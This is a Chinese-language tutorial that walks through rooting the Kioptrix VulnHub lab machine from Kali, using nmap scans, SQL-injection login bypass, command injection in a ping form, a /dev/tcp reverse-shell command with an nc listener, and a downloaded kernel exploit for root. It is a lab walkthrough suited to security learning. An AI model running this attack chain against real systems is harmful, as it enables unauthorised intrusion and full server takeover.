有許多人對神秘的黑客一直感興趣,卻苦于網上資料繁雜,無法入門,在學黑客之前,你要知道什么是黑客,黑客就是那些對計算機有著強烈探索欲的人,一個真正的黑客,必須要至少掌握一門編程技術和熟悉系統的操作命令。 下面我會實際演示一個黑客是如何通過一個普通的網站攻破服務器并獲取ROOT權限。
基礎環境準備
1、安裝Vmware虛擬機(不建議使用真機);
2、前往vulnhub下載測試鏡像,下載地址
https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
3、用Vmware安裝下載鏡像,安裝完成后啟動服務器(這就是我們的目標服務器了);
4、虛擬機安裝kali操作系統,kali系統下載地址:
https://www.kali.org/downloads/(也可以選擇其它操作系統,Kali關于滲透測試工具集成比較好);
以上基礎環境可谷歌、百度自行安裝,有問題可以反饋留言。
備注:目標服務器和Kali服務器網絡需要配置同一個網段,默認選擇Vmware的橋接模式即可。
操作流程
一、Kali系統IP查看
基礎環境準備完畢,這時候需要打開我們的Kali服務器了,查看Kali服務器自身的IP,敲入ifconfig命令,查看到Kali系統自身IP地址為192.168.137.133。

二、掃描目標服務器IP地址
nmap -sP 192.168.137.1/24
經過nmap掃描后發現,同網段有192.168.137.88 的IP,這個IP就是我們此行的目標IP了。

三、掃描目標服務器開放端口
nmap -A -p 1-65535 192.168.137.88 -v5
掃描192.168.137.88這臺服務器上開放的端口,發現目標服務器開放的端口比較多,其中有常見的3306和80端口,相信有一定經驗的運維或者開發人員都知道,這兩個端口代表MySQL服務和Http服務,后面攻擊這臺服務器就會通過常見的80端口進行操作

四、SQL注入操作
用瀏覽器訪問http://192.168.137.88,發現是個登錄頁面,嘗試用SQL注入,可登錄到管理后臺,此SQL注入原理是由于后臺服務對用戶輸入的參數沒有進行校驗,直接進行SQL拼接,導致出現該漏洞。

登錄后發現可看到管理員界面,這個界面是管理員用于查看機器是否能ping通的,測試輸入localhost,點擊submit,發現ping命令可以執行,然后這時可以用&& 符號連接其他命令,發現都能正常執行,這時想到我們可以利用反彈shell進行操作。


五、反彈Shell操作
Kali機器執行如下命令:
nc命令可以實現任意TCP/UDP端口的偵聽,這里nc是作為server以TCP或UDP方式偵聽4444端口(備注也可以指定其它端口)
nc -v -l -p 4444
瀏覽器上填寫如下命令:
此命令是實現反彈shell,sh -i 打開一個交互的sh,/dev/tcp建立一個socket連接,>&將標準錯誤輸出重定向到標準輸出中,0>&1將標準輸入重定向到標準輸出中。
localhost && sh -i >& /dev/tcp/192.168.137.133/4444 0>&1

這時候發現自己的Kali機器上已經進入shell操作界面,這時候的shell就已經是目標機器的shell了(偷偷的竊喜一波)

查看目前的用戶發現是Apache用戶,權限較低,無法創建、操作、刪除文件,也沒有權限進行sudo操作,如下圖所示

六、提升權限到ROOT
這時執行 uname -a 命令,發現該系統用到的內核是2.6.9版本,如下圖所示。

這時候就可以去谷歌搜索該內核版本是否存在高危漏洞,或者使用searchsploit工具進行搜索,幸運的是,網上已經有人針對該內核版本做過提權漏洞的腳本,如下圖。

通過wget把該文件下載到服務器上,由于操作的終端是反彈shell的終端,rz命令不可用。如果文件較內容較少,可以手動編輯,這里我是直接本地用 Python -m SimpleHTTPServer起個簡單的靜態文件服務,然后在服務器用wget命令下載。
下載完成后用gcc命令編譯,然后執行編譯后的文件,此時發現權限已經由普通的apache用戶提權到root用戶了,到此大功告成了,可以徹底做自己想做的事情了。
